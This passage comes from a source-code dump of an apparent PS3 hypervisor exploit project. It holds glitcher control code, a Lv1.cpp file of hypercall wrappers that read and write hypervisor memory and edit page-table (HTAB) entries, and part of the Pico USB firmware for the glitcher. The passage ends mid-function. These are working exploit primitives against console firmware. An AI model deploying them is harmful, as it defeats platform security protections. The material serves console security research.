| 562 | // uint64_t t3 = GetTimeInUs(); 563 | 564 | // PrintLog("Glitcher_Start() done. delta1 = %lu us, delta2 = %lu us\n", (t2 - t1), (t3 - t2)); 565 | } 566 | 567 | void Glitcher_Stop() 568 | { 569 | // PrintLog("Glitcher_Stop()\n"); 570 | 571 | glitcher_ctx.out_done = false; 572 | glitcher_ctx.ack_stop = false; 573 | 574 | glitcher_ctx.pipe_out_buf[0] = 0x55; 575 | 576 | eieio(); 577 | 578 | int32_t res; 579 | 580 | // uint64_t t1 = GetTimeInUs(); 581 | 582 | res = usbInterruptTransfer( 583 | glitcher_ctx.pipe_out, glitcher_ctx.pipe_out_buf, 64, Glitcher_callback_out_transfer_done, NULL); 584 | 585 | if (res != 0) 586 | { 587 | PrintLog("usbInterruptTransfer failed, res = %d\n", res); 588 | 589 | abort(); 590 | return; 591 | } 592 | 593 | while (!glitcher_ctx.out_done) 594 | { 595 | } 596 | // uint64_t t2 = GetTimeInUs(); 597 | while (!glitcher_ctx.ack_stop) 598 | { 599 | } 600 | 601 | // uint64_t t3 = GetTimeInUs(); 602 | 603 | // PrintLog("Glitcher_Stop() done. delta1 = %lu us, delta2 = %lu us\n", (t2 - t1), (t3 - t2)); 604 | } -------------------------------------------------------------------------------- /BadHTAB/source/Lv1.cpp: -------------------------------------------------------------------------------- 1 | #include "Include.h" 2 | 3 | void CallLv1Function(CallLv1Function_Context_s *ctx) 4 | { 5 | if (ctx == NULL) 6 | { 7 | PrintLog("ctx is NULL!\n"); 8 | abort(); 9 | } 10 | 11 | lv2syscall8(10, ctx->args[0], ctx->args[1], ctx->args[2], ctx->args[3], ctx->args[4], ctx->args[5], ctx->args[6], ctx->num); 12 | 13 | ctx->out[0] = p1; 14 | ctx->out[1] = p2; 15 | ctx->out[2] = p3; 16 | ctx->out[3] = p4; 17 | ctx->out[4] = p5; 18 | ctx->out[5] = p6; 19 | ctx->out[6] = p7; 20 | ctx->out[7] = p8; 21 | } 22 | 23 | uint64_t lv1_peek_114(uint64_t addr) 24 | { 25 | if ((addr % 8) != 0) 26 | { 27 | PrintLog("lv1_peek_114 at addr = 0x%lx must be multiple of 8!!!\n", addr); 28 | 29 | abort(); 30 | return 0; 31 | } 32 | 33 | uint64_t offset = (addr % 4096); 34 | uint64_t map_addr = (addr - offset); 35 | 36 | uint64_t lpar_addr; 37 | 38 | int32_t res; 39 | 40 | res = lv1_map_physical_address_region(map_addr, EXP_4KB, SIZE_4KB, &lpar_addr); 41 | 42 | if (res != 0) 43 | { 44 | PrintLog("lv1_map_physical_address_region failed!!!, res = %d, addr = 0x%lx, map_addr = 0x%lx\n", res, addr, map_addr); 45 | 46 | abort(); 47 | return 0; 48 | } 49 | 50 | uint64_t dest_ea = 0x8000000015000000ul; 51 | map_lpar_to_lv2_ea(lpar_addr, dest_ea, SIZE_4KB, true, false); 52 | 53 | uint64_t v; 54 | 55 | v = lv2_peek(dest_ea + offset); 56 | 57 | res = lv1_unmap_physical_address_region(lpar_addr); 58 | 59 | if (res != 0) 60 | { 61 | PrintLog("lv1_unmap_physical_address_region failed!!!, res = %d\n", res); 62 | 63 | abort(); 64 | return 0; 65 | } 66 | 67 | return v; 68 | } 69 | 70 | void lv1_poke_114(uint64_t addr, uint64_t val) 71 | { 72 | if ((addr % 8) != 0) 73 | { 74 | PrintLog("lv1_poke_114 at addr = 0x%lx must be multiple of 8!!!\n", addr); 75 | 76 | abort(); 77 | return; 78 | } 79 | 80 | uint64_t offset = (addr % 4096); 81 | uint64_t map_addr = (addr - offset); 82 | 83 | uint64_t lpar_addr; 84 | 85 | int32_t res; 86 | 87 | res = lv1_map_physical_address_region(map_addr, EXP_4KB, SIZE_4KB, &lpar_addr); 88 | 89 | if (res != 0) 90 | { 91 | PrintLog("lv1_map_physical_address_region failed!!!, res = %d\n", res); 92 | 93 | abort(); 94 | return; 95 | } 96 | 97 | uint64_t dest_ea = 0x8000000015000000ul; 98 | map_lpar_to_lv2_ea(lpar_addr, dest_ea, SIZE_4KB, false, false); 99 | 100 | lv2_poke(dest_ea + offset, val); 101 | 102 | res = lv1_unmap_physical_address_region(lpar_addr); 103 | 104 | if (res != 0) 105 | { 106 | PrintLog("lv1_unmap_physical_address_region failed!!!, res = %d\n", res); 107 | 108 | abort(); 109 | return; 110 | } 111 | 112 | uint64_t afterval = lv1_peek_114(addr); 113 | 114 | if (afterval != val) 115 | { 116 | PrintLog("lv1_poke failed!, addr = 0x%lx, val = 0x%lx, afterval = 0x%lx\n", 117 | addr, val, afterval); 118 | 119 | abort(); 120 | return; 121 | } 122 | } 123 | 124 | void lv1_read_114(uint64_t addr, uint64_t size, void *out_Buf) 125 | { 126 | if (size == 0) 127 | return; 128 | 129 | uint64_t curOffset = 0; 130 | uint64_t left = size; 131 | 132 | uint64_t chunkSize = sizeof(uint64_t); 133 | 134 | uint8_t *outBuf = (uint8_t *)out_Buf; 135 | 136 | uint64_t zz = (addr % chunkSize); 137 | 138 | if (zz != 0) 139 | { 140 | uint64_t readSize = (chunkSize - zz); 141 | 142 | if (readSize > left) 143 | readSize = left; 144 | 145 | uint64_t a = (addr - zz); 146 | 147 | uint64_t v = lv1_peek_114(a); 148 | uint8_t *vx = (uint8_t *)&v; 149 | 150 | memcpy(&outBuf[curOffset], &vx[zz], readSize); 151 | 152 | curOffset += readSize; 153 | left -= readSize; 154 | } 155 | 156 | while (1) 157 | { 158 | if (left == 0) 159 | break; 160 | 161 | uint64_t readSize = (left > chunkSize) ? chunkSize : left; 162 | 163 | uint64_t v = lv1_peek_114(addr + curOffset); 164 | 165 | memcpy(&outBuf[curOffset], &v, readSize); 166 | 167 | curOffset += readSize; 168 | left -= readSize; 169 | } 170 | } 171 | 172 | void lv1_write_114(uint64_t addr, uint64_t size, const void *in_Buf) 173 | { 174 | if (size == 0) 175 | return; 176 | 177 | uint64_t curOffset = 0; 178 | uint64_t left = size; 179 | 180 | uint64_t chunkSize = sizeof(uint64_t); 181 | 182 | const uint8_t *inBuf = (const uint8_t *)in_Buf; 183 | 184 | uint64_t zz = (addr % chunkSize); 185 | 186 | if (zz != 0) 187 | { 188 | uint64_t writeSize = (chunkSize - zz); 189 | 190 | if (writeSize > left) 191 | writeSize = left; 192 | 193 | uint64_t a = (addr - zz); 194 | 195 | uint64_t v = lv1_peek_114(a); 196 | uint8_t *vx = (uint8_t *)&v; 197 | 198 | memcpy(&vx[zz], &inBuf[curOffset], writeSize); 199 | 200 | lv1_poke_114(a, v); 201 | 202 | curOffset += writeSize; 203 | left -= writeSize; 204 | } 205 | 206 | while (1) 207 | { 208 | if (left == 0) 209 | break; 210 | 211 | uint64_t writeSize = (left > chunkSize) ? chunkSize : left; 212 | 213 | uint64_t v = lv1_peek_114(addr + curOffset); 214 | memcpy(&v, &inBuf[curOffset], writeSize); 215 | 216 | lv1_poke_114(addr + curOffset, v); 217 | 218 | curOffset += writeSize; 219 | left -= writeSize; 220 | } 221 | } 222 | 223 | uint64_t lv1_peek(uint64_t addr) 224 | { 225 | CallLv1Function_Context_s ctx; 226 | 227 | ctx.num = 34; 228 | 229 | ctx.args[0] = addr; 230 | 231 | CallLv1Function(&ctx); 232 | 233 | return ctx.out[0]; 234 | } 235 | 236 | void lv1_poke(uint64_t addr, uint64_t val) 237 | { 238 | CallLv1Function_Context_s ctx; 239 | 240 | ctx.num = 35; 241 | 242 | ctx.args[0] = addr; 243 | ctx.args[1] = val; 244 | 245 | CallLv1Function(&ctx); 246 | 247 | if (ctx.out[0] != 0) 248 | { 249 | PrintLog("lv1_poke failed!\n"); 250 | 251 | abort(); 252 | return; 253 | } 254 | 255 | uint64_t afterval = lv1_peek(addr); 256 | 257 | if (afterval != val) 258 | { 259 | PrintLog("lv1_poke failed!, addr = 0x%lx, val = 0x%lx, afterval = 0x%lx\n", 260 | addr, val, afterval); 261 | 262 | abort(); 263 | return; 264 | } 265 | } 266 | 267 | void lv1_read(uint64_t addr, uint64_t size, void *out_Buf) 268 | { 269 | if (size == 0) 270 | return; 271 | 272 | uint64_t curOffset = 0; 273 | uint64_t left = size; 274 | 275 | uint64_t chunkSize = sizeof(uint64_t); 276 | 277 | uint8_t *outBuf = (uint8_t *)out_Buf; 278 | 279 | uint64_t zz = (addr % chunkSize); 280 | 281 | if (zz != 0) 282 | { 283 | uint64_t readSize = (chunkSize - zz); 284 | 285 | if (readSize > left) 286 | readSize = left; 287 | 288 | uint64_t a = (addr - zz); 289 | 290 | uint64_t v = lv1_peek(a); 291 | uint8_t *vx = (uint8_t *)&v; 292 | 293 | memcpy(&outBuf[curOffset], &vx[zz], readSize); 294 | 295 | curOffset += readSize; 296 | left -= readSize; 297 | } 298 | 299 | while (1) 300 | { 301 | if (left == 0) 302 | break; 303 | 304 | uint64_t readSize = (left > chunkSize) ? chunkSize : left; 305 | 306 | uint64_t v = lv1_peek(addr + curOffset); 307 | 308 | memcpy(&outBuf[curOffset], &v, readSize); 309 | 310 | curOffset += readSize; 311 | left -= readSize; 312 | } 313 | } 314 | 315 | void lv1_write(uint64_t addr, uint64_t size, const void *in_Buf) 316 | { 317 | if (size == 0) 318 | return; 319 | 320 | uint64_t curOffset = 0; 321 | uint64_t left = size; 322 | 323 | uint64_t chunkSize = sizeof(uint64_t); 324 | 325 | const uint8_t *inBuf = (const uint8_t *)in_Buf; 326 | 327 | uint64_t zz = (addr % chunkSize); 328 | 329 | if (zz != 0) 330 | { 331 | uint64_t writeSize = (chunkSize - zz); 332 | 333 | if (writeSize > left) 334 | writeSize = left; 335 | 336 | uint64_t a = (addr - zz); 337 | 338 | uint64_t v = lv1_peek(a); 339 | uint8_t *vx = (uint8_t *)&v; 340 | 341 | memcpy(&vx[zz], &inBuf[curOffset], writeSize); 342 | 343 | lv1_poke(a, v); 344 | 345 | curOffset += writeSize; 346 | left -= writeSize; 347 | } 348 | 349 | while (1) 350 | { 351 | if (left == 0) 352 | break; 353 | 354 | uint64_t writeSize = (left > chunkSize) ? chunkSize : left; 355 | 356 | uint64_t v = lv1_peek(addr + curOffset); 357 | memcpy(&v, &inBuf[curOffset], writeSize); 358 | 359 | lv1_poke(addr + curOffset, v); 360 | 361 | curOffset += writeSize; 362 | left -= writeSize; 363 | } 364 | } 365 | 366 | int32_t lv1_allocate_memory(uint64_t size, uint64_t page_size_exp, uint64_t unknown, uint64_t flags, uint64_t *out_lpar_addr, uint64_t *muid) 367 | { 368 | CallLv1Function_Context_s ctx; 369 | 370 | ctx.num = 0; 371 | 372 | ctx.args[0] = size; 373 | ctx.args[1] = page_size_exp; 374 | ctx.args[2] = unknown; 375 | ctx.args[3] = flags; 376 | 377 | CallLv1Function(&ctx); 378 | 379 | if (out_lpar_addr) 380 | *out_lpar_addr = ctx.out[1]; 381 | 382 | if (muid) 383 | *muid = ctx.out[2]; 384 | 385 | return (int32_t)ctx.out[0]; 386 | } 387 | 388 | int32_t lv1_release_memory(uint64_t lpar_addr) 389 | { 390 | CallLv1Function_Context_s ctx; 391 | 392 | ctx.num = 13; 393 | 394 | ctx.args[0] = lpar_addr; 395 | 396 | CallLv1Function(&ctx); 397 | 398 | return (int32_t)ctx.out[0]; 399 | } 400 | 401 | int32_t lv1_write_htab_entry(uint64_t vas_id, uint64_t slot, uint64_t va, uint64_t pa) 402 | { 403 | CallLv1Function_Context_s ctx; 404 | 405 | ctx.num = 1; 406 | 407 | ctx.args[0] = vas_id; 408 | ctx.args[1] = slot; 409 | ctx.args[2] = va; 410 | ctx.args[3] = pa; 411 | 412 | CallLv1Function(&ctx); 413 | 414 | return (int32_t)ctx.out[0]; 415 | } 416 | 417 | int32_t lv1_insert_htab_entry(uint64_t vas_id, uint64_t hpte_group, uint64_t hpte_v, uint64_t hpte_r, uint64_t bolted, uint64_t flags, uint64_t *out_hpte_index, uint64_t *out_hpte_evicted_v, uint64_t *out_hpte_evicted_r) 418 | { 419 | CallLv1Function_Context_s ctx; 420 | 421 | ctx.num = 158; 422 | 423 | ctx.args[0] = vas_id; 424 | ctx.args[1] = hpte_group; 425 | ctx.args[2] = hpte_v; 426 | ctx.args[3] = hpte_r; 427 | ctx.args[4] = bolted; 428 | ctx.args[5] = flags; 429 | 430 | CallLv1Function(&ctx); 431 | 432 | if (out_hpte_index) 433 | *out_hpte_index = ctx.out[1]; 434 | 435 | if (out_hpte_evicted_v) 436 | *out_hpte_evicted_v = ctx.out[2]; 437 | 438 | if (out_hpte_evicted_r) 439 | *out_hpte_evicted_r = ctx.out[3]; 440 | 441 | return (int32_t)ctx.out[0]; 442 | } 443 | 444 | int32_t lv1_map_physical_address_region(uint64_t phys_addr, uint64_t page_size, uint64_t size, uint64_t *out_lpar_addr) 445 | { 446 | CallLv1Function_Context_s ctx; 447 | 448 | ctx.num = 114; 449 | 450 | ctx.args[0] = phys_addr; 451 | ctx.args[1] = page_size; 452 | ctx.args[2] = size; 453 | 454 | CallLv1Function(&ctx); 455 | 456 | if (out_lpar_addr) 457 | *out_lpar_addr = ctx.out[1]; 458 | 459 | return (int32_t)ctx.out[0]; 460 | } 461 | 462 | int32_t lv1_unmap_physical_address_region(uint64_t lpar_addr) 463 | { 464 | CallLv1Function_Context_s ctx; 465 | 466 | ctx.num = 115; 467 | 468 | ctx.args[0] = lpar_addr; 469 | 470 | CallLv1Function(&ctx); 471 | 472 | return (int32_t)ctx.out[0]; 473 | } 474 | 475 | int32_t lv1_construct_virtual_address_space(uint64_t htab_size, uint64_t number_of_sizes, uint64_t page_sizes, uint64_t *vas_id, uint64_t *act_htab_size) 476 | { 477 | CallLv1Function_Context_s ctx; 478 | 479 | ctx.num = 2; 480 | 481 | ctx.args[0] = htab_size; 482 | ctx.args[1] = number_of_sizes; 483 | ctx.args[2] = page_sizes; 484 | 485 | CallLv1Function(&ctx); 486 | 487 | if (vas_id) 488 | *vas_id = ctx.out[1]; 489 | 490 | if (act_htab_size) 491 | *act_htab_size = ctx.out[2]; 492 | 493 | return (int32_t)ctx.out[0]; 494 | } 495 | 496 | int32_t lv1_destruct_virtual_address_space(uint64_t vas_id) 497 | { 498 | CallLv1Function_Context_s ctx; 499 | 500 | ctx.num = 10; 501 | 502 | ctx.args[0] = vas_id; 503 | 504 | CallLv1Function(&ctx); 505 | 506 | return (int32_t)ctx.out[0]; 507 | } 508 | 509 | int32_t lv1_select_virtual_address_space(uint64_t vas_id) 510 | { 511 | CallLv1Function_Context_s ctx; 512 | 513 | ctx.num = 7; 514 | 515 | ctx.args[0] = vas_id; 516 | 517 | CallLv1Function(&ctx); 518 | 519 | return (int32_t)ctx.out[0]; 520 | } 521 | 522 | int32_t lv1_map_htab(uint64_t vas_id, uint64_t *htab_addr) 523 | { 524 | CallLv1Function_Context_s ctx; 525 | 526 | ctx.num = 122; 527 | 528 | ctx.args[0] = vas_id; 529 | 530 | CallLv1Function(&ctx); 531 | 532 | if (htab_addr) 533 | *htab_addr = ctx.out[1]; 534 | 535 | return (int32_t)ctx.out[0]; 536 | } 537 | 538 | int32_t lv1_unmap_htab(uint64_t htab_addr) 539 | { 540 | CallLv1Function_Context_s ctx; 541 | 542 | ctx.num = 123; 543 | 544 | ctx.args[0] = htab_addr; 545 | 546 | CallLv1Function(&ctx); 547 | 548 | return (int32_t)ctx.out[0]; 549 | } 550 | 551 | int32_t lv1_query_logical_partition_address_region_info(uint64_t lpar_addr, 552 | uint64_t *start_address, uint64_t *size, uint64_t *access_right, uint64_t *max_page_size, uint64_t *flags) 553 | { 554 | CallLv1Function_Context_s ctx; 555 | 556 | ctx.num = 6; 557 | 558 | ctx.args[0] = lpar_addr; 559 | 560 | CallLv1Function(&ctx); 561 | 562 | if (start_address) 563 | *start_address = ctx.out[1]; 564 | 565 | if (size) 566 | *size = ctx.out[2]; 567 | 568 | if (access_right) 569 | *access_right = ctx.out[3]; 570 | 571 | if (max_page_size) 572 | *max_page_size = ctx.out[4]; 573 | 574 | if (flags) 575 | *flags = ctx.out[5]; 576 | 577 | return (int32_t)ctx.out[0]; 578 | } 579 | 580 | int32_t lv1_get_virtual_address_space_id_of_ppe(uint64_t ppe_id, uint64_t *vas_id) 581 | { 582 | CallLv1Function_Context_s ctx; 583 | 584 | ctx.num = 4; 585 | 586 | ctx.args[0] = ppe_id; 587 | 588 | CallLv1Function(&ctx); 589 | 590 | if (vas_id) 591 | *vas_id = ctx.out[1]; 592 | 593 | return (int32_t)ctx.out[0]; 594 | } 595 | 596 | int32_t lv1_get_logical_ppe_id(uint64_t *ppe_id) 597 | { 598 | CallLv1Function_Context_s ctx; 599 | 600 | ctx.num = 69; 601 | 602 | CallLv1Function(&ctx); 603 | 604 | if (ppe_id) 605 | *ppe_id = ctx.out[1]; 606 | 607 | return (int32_t)ctx.out[0]; 608 | } 609 | 610 | uint64_t lv1_repository_string(const char *str) 611 | { 612 | uint64_t ret = 0; 613 | strncpy((char *)&ret, str, sizeof(ret)); 614 | return (ret); 615 | } 616 | 617 | int32_t lv1_modify_repository_node_value(uint64_t lpar_id, uint64_t n1, uint64_t n2, uint64_t n3, uint64_t n4, uint64_t v1, uint64_t v2) 618 | { 619 | CallLv1Function_Context_s ctx; 620 | 621 | ctx.num = 92; 622 | 623 | ctx.args[0] = lpar_id; 624 | 625 | ctx.args[1] = n1; 626 | ctx.args[2] = n2; 627 | ctx.args[3] = n3; 628 | ctx.args[4] = n4; 629 | 630 | ctx.args[5] = v1; 631 | ctx.args[6] = v2; 632 | 633 | CallLv1Function(&ctx); 634 | 635 | return (int32_t)ctx.out[0]; 636 | } -------------------------------------------------------------------------------- /ps3pulldown2/ps3pulldown2/usb_device.c: -------------------------------------------------------------------------------- 1 | #include "include.h" 2 | 3 | // ==[ USB 2.0 ]=============================================================== 4 | 5 | static const struct usb_endpoint_descriptor ep0_out = { // EP0, out to device 6 | .bLength = sizeof(struct usb_endpoint_descriptor), 7 | .bDescriptorType = USB_DT_ENDPOINT, 8 | .bEndpointAddress = EP0_OUT_ADDR, 9 | .bmAttributes = USB_TRANSFER_TYPE_CONTROL, 10 | .wMaxPacketSize = 64, 11 | .bInterval = 0 12 | }; 13 | 14 | static const struct usb_endpoint_descriptor ep0_in = { // EP0, in to host 15 | .bLength = sizeof(struct usb_endpoint_descriptor), 16 | .bDescriptorType = USB_DT_ENDPOINT, 17 | .bEndpointAddress = EP0_IN_ADDR, 18 | .bmAttributes = USB_TRANSFER_TYPE_CONTROL, 19 | .wMaxPacketSize = 64, 20 | .bInterval = 0 21 | }; 22 | 23 | static const struct usb_endpoint_descriptor ep1_out = { // EP1, out to device 24 | .bLength = sizeof(struct usb_endpoint_descriptor), 25 | .bDescriptorType = USB_DT_ENDPOINT, 26 | .bEndpointAddress = EP1_OUT_ADDR, 27 | .bmAttributes = USB_TRANSFER_TYPE_INTERRUPT, 28 | .wMaxPacketSize = 64, 29 | .bInterval = 0 30 | }; 31 | 32 | static const struct usb_endpoint_descriptor ep2_in = { // EP2, in to host 33 | .bLength = sizeof(struct usb_endpoint_descriptor), 34 | .bDescriptorType = USB_DT_ENDPOINT, 35 | .bEndpointAddress = EP2_IN_ADDR, 36 | .bmAttributes = USB_TRANSFER_TYPE_INTERRUPT, 37 | .wMaxPacketSize = 64, 38 | .bInterval = 0 39 | }; 40 | 41 | static const struct usb_interface_descriptor interface_descriptor = { 42 | .bLength = sizeof(struct usb_interface_descriptor), 43 | .bDescriptorType = USB_DT_INTERFACE, 44 | .bInterfaceNumber = 0, // Starts at zero 45 | .bAlternateSetting = 0, // No alternate 46 | .bNumEndpoints = 2, // Two endpoints (EP0 doesn't count) 47 | .bInterfaceClass = 0xff, // Interface class (0xff = Vendor specific) 48 | .bInterfaceSubClass = 0, // No subclass 49 | .bInterfaceProtocol = 0, // No protocol 50 | .iInterface = 5 // String #5 51 | }; 52 | 53 | static const struct usb_configuration_descriptor config_descriptor = { 54 | .bLength = sizeof(struct usb_configuration_descriptor), 55 | .bDescriptorType = USB_DT_CONFIG, 56 | .wTotalLength = (sizeof(config_descriptor) + 57 | sizeof(interface_descriptor) + 58 | sizeof(ep1_out) + 59 | sizeof(ep2_in)), 60 | .bNumInterfaces = 1, // One interface 61 | .bConfigurationValue = 1, // Configuration 1 62 | .iConfiguration = 4, // String #4 63 | .bmAttributes = 0xc0, // Attributes: Self-powered, No remote wakeup 64 | .bMaxPower = 50 // 100ma (Expressed in 2mA units) 65 | }; 66 | 67 | static const struct usb_device_descriptor device_descriptor = { 68 | .bLength = sizeof(struct usb_device_descriptor), 69 | .bDescriptorType = USB_DT_DEVICE, 70 | .bcdUSB = 0x0200, // USB 2.0 device 71 | .bDeviceClass = 0, // Defer to interface descriptor 72 | .bDeviceSubClass = 0, // No subclass 73 | .bDeviceProtocol = 0, // No protocol 74 | .bMaxPacketSize0 = 64, // Max packet size for EP0 75 | .idVendor = 0x2705, // Vendor id 76 | .idProduct = 0x0527, // Product id 77 | .bcdDevice = 0x0001, // Device release number (xx.yy) 78 | .iManufacturer = 1, // String #1 79 | .iProduct = 2, // String #2 80 | .iSerialNumber = 3, // String #3 81 | .bNumConfigurations = 1 // One configuration 82 | }; 83 | 84 | // ==[ PicoUSB ]=============================================================== 85 | 86 | #define usb_hw_set ((usb_hw_t *) hw_set_alias_untyped (usb_hw)) 87 | #define usb_hw_clear ((usb_hw_t *) hw_clear_alias_untyped(usb_hw)) 88 | 89 | typedef void (*usb_ep_handler)(uint8_t *buf, uint16_t len); 90 | 91 | void ep0_out_handler(uint8_t *buf, uint16_t len); 92 | void ep0_in_handler (uint8_t *buf, uint16_t len); 93 | void ep1_out_handler(uint8_t *buf, uint16_t len); 94 | void ep2_in_handler (uint8_t *buf, uint16_t len); 95 | 96 | struct usb_endpoint { 97 | const struct usb_endpoint_descriptor *descriptor; 98 | usb_ep_handler handler; 99 | 100 | volatile uint32_t *endpoint_control; 101 | volatile uint32_t *buffer_control; 102 | volatile uint8_t *data_buffer; 103 | 104 | uint8_t next_datapid; // Toggle DATA0/DATA1 each packet 105 | }; 106 | 107 | struct usb_device { 108 | const struct usb_device_descriptor *device_descriptor; 109 | const struct usb_configuration_descriptor *config_descriptor; 110 | const struct usb_interface_descriptor *interface_descriptor; 111 | const unsigned char *lang_descriptor; 112 | const unsigned char **descriptor_strings; 113 | struct usb_endpoint endpoints[USB_NUM_ENDPOINTS]; 114 | }; 115 | 116 | static const unsigned char lang_descriptor[] = { 117 | 4, // bLength 118 | 0x03, // bDescriptorType: string descriptor 119 | 0x09, 0x04 // Language id: US English 120 | }; 121 | 122 | static const unsigned char *descriptor_strings[] = { 123 | (unsigned char *) "Kafuu", // String #1: Vendor 124 | (unsigned char *) "ps3pulldown2" , // String #2: Product 125 | (unsigned char *) "12345" , // String #3: Serial 126 | (unsigned char *) "Easy" , // String #4: Configuration 127 | (unsigned char *) "Simple" // String #5: Interface 128 | }; 129 | 130 | static struct usb_device device = { 131 | .device_descriptor = &device_descriptor, 132 | .config_descriptor = &config_descriptor, 133 | .interface_descriptor = &interface_descriptor, 134 | .lang_descriptor = lang_descriptor, 135 | .descriptor_strings = descriptor_strings, 136 | .endpoints = { 137 | { 138 | .descriptor = &ep0_out, 139 | .handler = &ep0_out_handler, 140 | .endpoint_control = NULL, // EP0 controlled via SIE_CTRL 141 | .buffer_control = &usb_dpram->ep_buf_ctrl[0].out, 142 | .data_buffer = &usb_dpram->ep0_buf_a[0], // EP0 shares in/out 143 | }, 144 | { 145 | .descriptor = &ep0_in, 146 | .handler = &ep0_in_handler, 147 | .endpoint_control = NULL, // EP0 controlled via SIE_CTRL 148 | .buffer_control = &usb_dpram->ep_buf_ctrl[0].in, 149 | .data_buffer = &usb_dpram->ep0_buf_a[0], // EP0 shares in/out 150 | }, 151 | { 152 | .descriptor = &ep1_out, 153 | .handler = &ep1_out_handler, 154 | .endpoint_control = &usb_dpram->ep_ctrl[0].out, // EP1 uses index 0 155 | .buffer_control = &usb_dpram->ep_buf_ctrl[1].out, 156 | .data_buffer = &usb_dpram->epx_data[0 * 64], // First buffer 157 | }, 158 | { 159 | .descriptor = &ep2_in, 160 | .handler = &ep2_in_handler, 161 | .endpoint_control = &usb_dpram->ep_ctrl[1].in, // EP2 uses index 1 162 | .buffer_control = &usb_dpram->ep_buf_ctrl[2].in, 163 | .data_buffer = &usb_dpram->epx_data[1 * 64], // Second buffer 164 | } 165 | } 166 | }; 167 | 168 | // Device state management 169 | static uint8_t device_address = 0; 170 | static bool should_set_address = false; 171 | static volatile bool configured = false; 172 | 173 | // Buffer for preparing output to send to host 174 | static uint8_t ep0_buf[64]; 175 | 176 | // ==[ Endpoints ]============================================================= 177 | 178 | // Set up an endpoint's control register 179 | void usb_setup_endpoint(const struct usb_endpoint *ep) { 180 | 181 | // Grok the desired endpoint 182 | uint8_t ep_addr = ep->descriptor->bEndpointAddress; 183 | uint8_t ep_num = ep_addr & 0x0f; 184 | bool in = ep_addr & USB_DIR_IN; 185 | UartPrint("Initialized EP%d_%s (0x%02x) with buffer address 0x%p\n", 186 | ep_num, in ? "IN " : "OUT", ep_addr, ep->data_buffer); 187 | 188 | // Set ep_ctrl register for this endpoint (skip EP0 since it uses SIE_CTRL) 189 | if (ep->endpoint_control) { 190 | uint32_t type = ep->descriptor->bmAttributes << EP_CTRL_BUFFER_TYPE_LSB; 191 | uint32_t offset = ((uint32_t) ep->data_buffer) ^ ((uint32_t) usb_dpram); 192 | uint32_t interval = ep->descriptor->bInterval; 193 | if (interval) { 194 | interval = (interval - 1) << EP_CTRL_HOST_INTERRUPT_INTERVAL_LSB; 195 | } 196 | *ep->endpoint_control = EP_CTRL_ENABLE_BITS | // Enable EP 197 | EP_CTRL_INTERRUPT_PER_BUFFER | // One IRQ per 198 | type | // Control, iso, bulk, or interrupt 199 | interval | // Interrupt interval in ms 200 | offset ; // Address base offset in DSPRAM 201 | } 202 | } 203 | 204 | // Set up all endpoints 205 | void usb_setup_endpoints() { 206 | const struct usb_endpoint *endpoints = device.endpoints; 207 | for (int i = 0; i < USB_NUM_ENDPOINTS; i++) { 208 | if (endpoints[i].descriptor && endpoints[i].handler) { 209 | usb_setup_endpoint(&endpoints[i]); 210 | } 211 | } 212 | } 213 | 214 | // Get the endpoint for an endpoint address (EP number + direction) 215 | struct usb_endpoint *usb_get_endpoint(uint8_t ep_addr) { 216 | struct usb_endpoint *endpoints = device.endpoints; 217 | for (int i = 0; i < USB_NUM_ENDPOINTS; i++) { 218 | if (endpoints[i].descriptor && 219 | (endpoints[i].descriptor->bEndpointAddress == ep_addr)) { 220 | return &endpoints[i]; 221 | } 222 | } 223 | return NULL; 224 | } 225 | 226 | // ==[ Transfers ]============================================================= 227 | 228 | // Hex dump (mode: 0 = hex; 1 = hex + ascii; 2 = hex + ascii + no newline) 229 | void hexdump(const void* data, size_t size, uint mode) { 230 | const unsigned char* byte = (const unsigned char *) data; 231 | size_t i, j; 232 | 233 | for (i = 0; i < size; i += 16) { 234 | UartPrint("\t| %08zx | ", i); // Print the offset 235 | 236 | // Print hex values 237 | for (j = 0; j < 16; j++) { 238 | if (i + j < size) { 239 | UartPrint("%02x ", byte[i + j]); 240 | } else { 241 | UartPrint(" "); // Pad if less than 16 bytes in the line 242 | } 243 | } 244 | 245 | UartPrint(" | "); 246 | 247 | if (mode > 1) return; 248 | 249 | // Print ASCII values 250 | if (mode == 1) { 251 | for (j = 0; j < 16; j++) { 252 | if (i + j < size) { 253 | unsigned char ch = byte[i + j]; 254 | UartPrint("%c", (ch >= 32 && ch <= 126) ? ch : '.'); 255 | } 256 | } 257 | } 258 | 259 | UartPrint("\n"); 260 | } 261 | } 262 | 263 | // Start a transfer on an endpoint 264 | void usb_start_transfer(struct usb_endpoint *ep, uint8_t *buf, uint16_t len) { 265 | assert(len <= 64); 266 | 267 | // Grok the desired endpoint 268 | uint8_t ep_addr = ep->descriptor->bEndpointAddress; 269 | uint8_t ep_num = ep_addr & 0x0f; 270 | bool in = ep_addr & USB_DIR_IN; 271 | 272 | // Set the buffer control register and copy the buffer if needed 273 | uint32_t val = len | USB_BUF_CTRL_AVAIL; 274 | if (in) { 275 | memcpy((void *) ep->data_buffer, (void *) buf, len); 276 | val |= USB_BUF_CTRL_FULL; // Mark buffer as full 277 | } 278 | val |= ep->next_datapid ? USB_BUF_CTRL_DATA1_PID : USB_BUF_CTRL_DATA0_PID; 279 | ep->next_datapid ^= 1; // Flip for the next transfer 280 | *ep->buffer_control = val; 281 | } 282 | 283 | // Send a ZLP (zero length packet) to host 284 | void usb_send_zlp() { 285 | UartPrint("> ZLP\n"); 286 | usb_start_transfer(usb_get_endpoint(EP0_IN_ADDR), NULL, 0); 287 | } 288 | 289 | // ==[ Handlers ]============================================================== 290 | 291 | void ep0_out_handler(uint8_t *buf, uint16_t len) { 292 | ; // Nothing to do 293 | // TODO: Find out when this is called... 294 | } 295 | 296 | void ep0_in_handler(uint8_t *buf, uint16_t len) { 297 | if (should_set_address) { 298 | usb_hw->dev_addr_ctrl = device_address; // Set hardware device address 299 | should_set_address = false; 300 | } else { 301 | // Prepare for a ZLP from host on EP0_OUT 302 | usb_start_transfer(usb_get_endpoint(EP0_OUT_ADDR), NULL, 0); 303 | } 304 | } 305 | 306 | #if 0 307 | 308 | // Receive a packet from the host on EP1_OUT and send it back to host on EP2_IN 309 | void ep1_out_handler(uint8_t *buf, uint16_t len) { 310 | usb_start_transfer(usb_get_endpoint(EP2_IN_ADDR), buf, len); 311 | } 312 | 313 | // After sending the packet to host, get ready to receive another on EP1_OUT 314 | void ep2_in_handler(uint8_t *buf, uint16_t len) { 315 | usb_start_transfer(usb_get_endpoint(EP1_OUT_ADDR), NULL, 64); 316 | } 317 | 318 | #endif 319 | 320 | // ==[ Setup ]================================================================= 321 | 322 | // Handle SET_ADDR request from host 323 | void usb_set_device_address(volatile struct usb_setup_packet 